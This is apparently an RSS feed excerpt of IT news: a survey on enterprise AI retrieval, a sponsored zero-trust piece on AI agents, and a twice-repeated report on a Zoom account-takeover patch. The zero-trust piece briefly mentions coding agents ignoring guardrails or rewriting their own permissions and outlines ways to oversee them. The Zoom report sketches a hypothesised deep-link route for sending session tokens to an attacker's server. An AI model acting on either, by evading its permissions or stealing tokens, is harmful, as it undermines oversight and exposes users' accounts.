Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[Zero trust must now move at agent speed]]></title>
<description><![CDATA[Presented by Ping Identity Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system...]]></description>
<link>https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Ping Identity </i></p><hr><p>Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.</p><p><span>type: <!-- -->embedded-entry-inline<!-- --> id: <!-- -->1Ieiy1KhHNWZE5KVqNdA1G</span></p><p>That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.</p><p>"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."</p><h2>Why zero trust is now urgent for agentic AI</h2><p>That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.</p><p>"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."</p><h2>Why agents must be treated as first-class identities</h2><p>That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. </p><p>"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."</p><p>And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.</p><h2>Where enterprises can enforce zero trust policies</h2><p>Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.</p><p>"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.</p><p>The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.</p><h2>Stopping AI agents from rewriting their own permissions</h2><p>That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.</p><p>"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."</p><h2>How to trust AI-generated output at agent speed</h2><p>The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.</p><p>"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."</p><p>In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. </p><p>For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.</p><h2>What to ask when evaluating agentic identity platforms</h2><p>For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.</p><p>"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."</p><p>And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Zoom patches account takeover hole]]></title>
<description><![CDATA[Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”



The issue is especially significant given Zoom’s extensive reach; it reportedly has more than 300 million daily active users, including 470,000...]]></description>
<link>https://tsecurity.de/de/3674321/it-security-nachrichten/zoom-patches-account-takeover-hole/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674321/it-security-nachrichten/zoom-patches-account-takeover-hole/</guid>
<pubDate>Thu, 16 Jul 2026 19:53:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”</p>



<p class="wp-block-paragraph">The issue is especially significant given Zoom’s extensive reach; it <a href="https://www.demandsage.com/zoom-statistics/" target="_blank" rel="noreferrer noopener">reportedly</a> has more than 300 million daily active users, including 470,000 paying business customers. Given that reach, Zoom has been impacted by <a href="https://www.csoonline.com/article/4136834/fake-zoom-meeting-silently-installs-surveillance-software-says-malwarebytes.html" target="_blank">many other security incidents</a> and France recently <a href="https://www.computerworld.com/article/4122979/french-authorities-ban-teams-and-zoom.html" target="_blank">tried banning its use by French government users</a>. </p>



<p class="wp-block-paragraph"><a href="https://www.zoom.com/en/trust/security-bulletin/" target="_blank" rel="noreferrer noopener"> Zoom security bulletins</a> released Tuesday revealed the bug, and three other security issues, which Zoom patched on Wednesday. </p>



<p class="wp-block-paragraph">The company originally said that the takeover issue impacted Zoom Desktop Client for Windows before version 7.0.0, Zoom VDI Client for Windows before version 7.0.10 and 6.6.15 and 6.5.18 in their respective branches, and Zoom Meeting SDK for Windows, but on Wednesday, without explanation, it removed Meeting SDK for Windows as an affected product.</p>



<p class="wp-block-paragraph">The other three holes were less severe, but still significant, and they all involved privilege escalation. They impacted Zoom Workplace for Windows before version 7.0.5, Zoom Workplace VDI Client for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Workplace VDI plugin for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Rooms for Windows before 7.0.5 and Remote Control for Zoom Contact Center for Windows before version 7.0.0. </p>



<p class="wp-block-paragraph">A second privilege escalation issue impacted Zoom Rooms for Windows before version 7.1.0, and another impacted Zoom Workplace VDI Plugin for Windows before version 6.6.14.</p>



<p class="wp-block-paragraph">Zoom did not immediately reply to a request for comment.</p>



<h2 class="wp-block-heading">‘As bad as it gets’</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said the nature of the reported hole is alarming.</p>



<p class="wp-block-paragraph">This bug “is about as bad as it gets, short of a worm. It is exploitable over the network, low complexity, zero privileges required, no user interaction needed,” he said, pointing out that exploitation is easy once technical details leak or someone reverse-engineers the patch, which is not as challenging as it once was, thanks to AI. “Yesterday’s script kiddies have been empowered,” he said.</p>



<p class="wp-block-paragraph">Dickson said the only good news is that Zoom discovered the hole itself, and that “no in-the-wild exploitation has been reported by any outlet as of Thursday.”</p>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, agreed with Dickson’s characterization of the hole, but said a potentially bigger issue is the high level of sensitive data that Zoom accesses. </p>



<p class="wp-block-paragraph">“An attacker with unfettered access to a Zoom account may be able to listen to recordings of sensitive meetings, to eavesdrop on future meetings, and to impersonate the organization in an effort to social engineer its clients and partners. Thus, given that ubiquity of Zoom in large enterprises, this vulnerability is pretty concerning,” Levine said. </p>



<p class="wp-block-paragraph">He’s encouraged, however, that Zoom found the flaw itself, which indicates its security team is “actually doing the hard, unglamorous work of auditing its code.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/trottagiuseppe/" target="_blank" rel="noreferrer noopener">Giuseppe Trotta</a>, principal security researcher at Malwarebytes, has a theory about what was behind the Zoom disclosure. </p>



<p class="wp-block-paragraph">“Because the vulnerability requires zero privileges and absolutely no user interaction, the remote network attack vector is highly suspected to involve the mishandling of deep links, such as custom URL schemes like <em>zoommtg://</em> or <em>zoomworkplace://</em>,” he said. This led him to think that if the Zoom Workplace client for Windows fails to properly sanitize and validate incoming arguments passed via these special browser-to-desktop links, an unauthenticated attacker could craft a malicious string that could trick the desktop application into exposing or redirecting the user’s active session tokens directly to an attacker-controlled server, achieving a seamless and completely silent account takeover.</p>



<p class="wp-block-paragraph">“Watch out for Zoom links and invites if you are on Windows or VDI and haven’t updated yet,” he advised.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, offered kudos to Zoom for discovering the critical flaw, but he wanted to know how such a severe bug got into its software initially.</p>



<p class="wp-block-paragraph">“This vulnerability raises questions about why the defect was not caught by design review, fuzzing, or pre-release abuse-case testing,” Wilkes said. “A historical defect in Zoom’s product/security relationship has been prioritizing ease of use over security risk.”</p>



<h2 class="wp-block-heading">All four bugs important</h2>



<p class="wp-block-paragraph"><a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, said that the two types of holes reported by Zoom, account takeover and escalation, are both important, but for different reasons. </p>



<p class="wp-block-paragraph">“The critical vulnerability is significant because it has the characteristics security teams worry about most,” Greis said, but the privilege escalation holes “are certainly important to patch as they primarily increase the impact of an attack that has already begun. The critical vulnerability has the potential to be an initial entry point, which is why it deserves the most attention.”</p>



<p class="wp-block-paragraph">Greis also applauded Zoom’s response, saying that it “reflects a reasonably mature security program.”</p>



<p class="wp-block-paragraph">He pointed out that no complex software platform will eliminate vulnerabilities entirely. “The differentiator is whether vendors are continuously investing in offensive testing, finding weaknesses before attackers do, and moving quickly to develop and distribute fixes,” he said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.computerworld.com/article/4197949/zoom-patches-account-takeover-hole.html" target="_blank">Computerworld</a>.</em></p>
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<title><![CDATA[Zoom patches account takeover hole]]></title>
<description><![CDATA[Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”



The issue is especially significant given Zoom’s extensive reach; it reportedly has more than 300 million daily active users, including 470,000...]]></description>
<link>https://tsecurity.de/de/3674314/it-nachrichten/zoom-patches-account-takeover-hole/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674314/it-nachrichten/zoom-patches-account-takeover-hole/</guid>
<pubDate>Thu, 16 Jul 2026 19:47:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”</p>



<p class="wp-block-paragraph">The issue is especially significant given Zoom’s extensive reach; it <a href="https://www.demandsage.com/zoom-statistics/" target="_blank" rel="noreferrer noopener">reportedly</a> has more than 300 million daily active users, including 470,000 paying business customers. Given that reach, Zoom has been impacted by <a href="https://www.csoonline.com/article/4136834/fake-zoom-meeting-silently-installs-surveillance-software-says-malwarebytes.html" target="_blank">many other security incidents</a> and France recently <a href="https://www.computerworld.com/article/4122979/french-authorities-ban-teams-and-zoom.html" target="_blank">tried banning its use by French government users</a>. </p>



<p class="wp-block-paragraph"><a href="https://www.zoom.com/en/trust/security-bulletin/" target="_blank" rel="noreferrer noopener"> Zoom security bulletins</a> released Tuesday revealed the bug, and three other security issues, which Zoom patched on Wednesday. </p>



<p class="wp-block-paragraph">The company originally said that the takeover issue impacted Zoom Desktop Client for Windows before version 7.0.0, Zoom VDI Client for Windows before version 7.0.10 and 6.6.15 and 6.5.18 in their respective branches, and Zoom Meeting SDK for Windows, but on Wednesday, without explanation, it removed Meeting SDK for Windows as an affected product.</p>



<p class="wp-block-paragraph">The other three holes were less severe, but still significant, and they all involved privilege escalation. They impacted Zoom Workplace for Windows before version 7.0.5, Zoom Workplace VDI Client for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Workplace VDI plugin for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Rooms for Windows before 7.0.5 and Remote Control for Zoom Contact Center for Windows before version 7.0.0. </p>



<p class="wp-block-paragraph">A second privilege escalation issue impacted Zoom Rooms for Windows before version 7.1.0, and another impacted Zoom Workplace VDI Plugin for Windows before version 6.6.14.</p>



<p class="wp-block-paragraph">Zoom did not immediately reply to a request for comment.</p>



<h2 class="wp-block-heading">‘As bad as it gets’</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said the nature of the reported hole is alarming.</p>



<p class="wp-block-paragraph">This bug “is about as bad as it gets, short of a worm. It is exploitable over the network, low complexity, zero privileges required, no user interaction needed,” he said, pointing out that exploitation is easy once technical details leak or someone reverse-engineers the patch, which is not as challenging as it once was, thanks to AI. “Yesterday’s script kiddies have been empowered,” he said.</p>



<p class="wp-block-paragraph">Dickson said the only good news is that Zoom discovered the hole itself, and that “no in-the-wild exploitation has been reported by any outlet as of Thursday.”</p>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, agreed with Dickson’s characterization of the hole, but said a potentially bigger issue is the high level of sensitive data that Zoom accesses. </p>



<p class="wp-block-paragraph">“An attacker with unfettered access to a Zoom account may be able to listen to recordings of sensitive meetings, to eavesdrop on future meetings, and to impersonate the organization in an effort to social engineer its clients and partners. Thus, given that ubiquity of Zoom in large enterprises, this vulnerability is pretty concerning,” Levine said. </p>



<p class="wp-block-paragraph">He’s encouraged, however, that Zoom found the flaw itself, which indicates its security team is “actually doing the hard, unglamorous work of auditing its code.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/trottagiuseppe/" target="_blank" rel="noreferrer noopener">Giuseppe Trotta</a>, principal security researcher at Malwarebytes, has a theory about what was behind the Zoom disclosure. </p>



<p class="wp-block-paragraph">“Because the vulnerability requires zero privileges and absolutely no user interaction, the remote network attack vector is highly suspected to involve the mishandling of deep links, such as custom URL schemes like <em>zoommtg://</em> or <em>zoomworkplace://</em>,” he said. This led him to think that if the Zoom Workplace client for Windows fails to properly sanitize and validate incoming arguments passed via these special browser-to-desktop links, an unauthenticated attacker could craft a malicious string that could trick the desktop application into exposing or redirecting the user’s active session tokens directly to an attacker-controlled server, achieving a seamless and completely silent account takeover.</p>



<p class="wp-block-paragraph">“Watch out for Zoom links and invites if you are on Windows or VDI and haven’t updated yet,” he advised.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, offered kudos to Zoom for discovering the critical flaw, but he wanted to know how such a severe bug got into its software initially.</p>



<p class="wp-block-paragraph">“This vulnerability raises questions about why the defect was not caught by design review, fuzzing, or pre-release abuse-case testing,” Wilkes said. “A historical defect in Zoom’s product/security relationship has been prioritizing ease of use over security risk.”</p>



<h2 class="wp-block-heading">All four bugs important</h2>



<p class="wp-block-paragraph"><a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, said that the two types of holes reported by Zoom, account takeover and escalation, are both important, but for different reasons. </p>



<p class="wp-block-paragraph">“The critical vulnerability is significant because it has the characteristics security teams worry about most,” Greis said, but the privilege escalation holes “are certainly important to patch as they primarily increase the impact of an attack that has already begun. The critical vulnerability has the potential to be an initial entry point, which is why it deserves the most attention.”</p>



<p class="wp-block-paragraph">Greis also applauded Zoom’s response, saying that it “reflects a reasonably mature security program.”</p>



<p class="wp-block-paragraph">He pointed out that no complex software platform will eliminate vulnerabilities entirely. “The differentiator is whether vendors are continuously investing in offensive testing, finding weaknesses before attackers do, and moving quickly to develop and distribute fixes,” he said.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[CVE-2022-3533 | Linux Kernel on ARM64 BPF tools/lib/bpf/usdt.c parse_usdt_arg reg_name memory leak (EUVD-2022-42899)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Linux Kernel on ARM64. The affected element is the function parse_usdt_arg of the file tools/lib/bpf/usdt.c of the component BPF. Executing a manipulation of the argument reg_name can lead to memory leak.

This vulnerability is reg...]]></description>
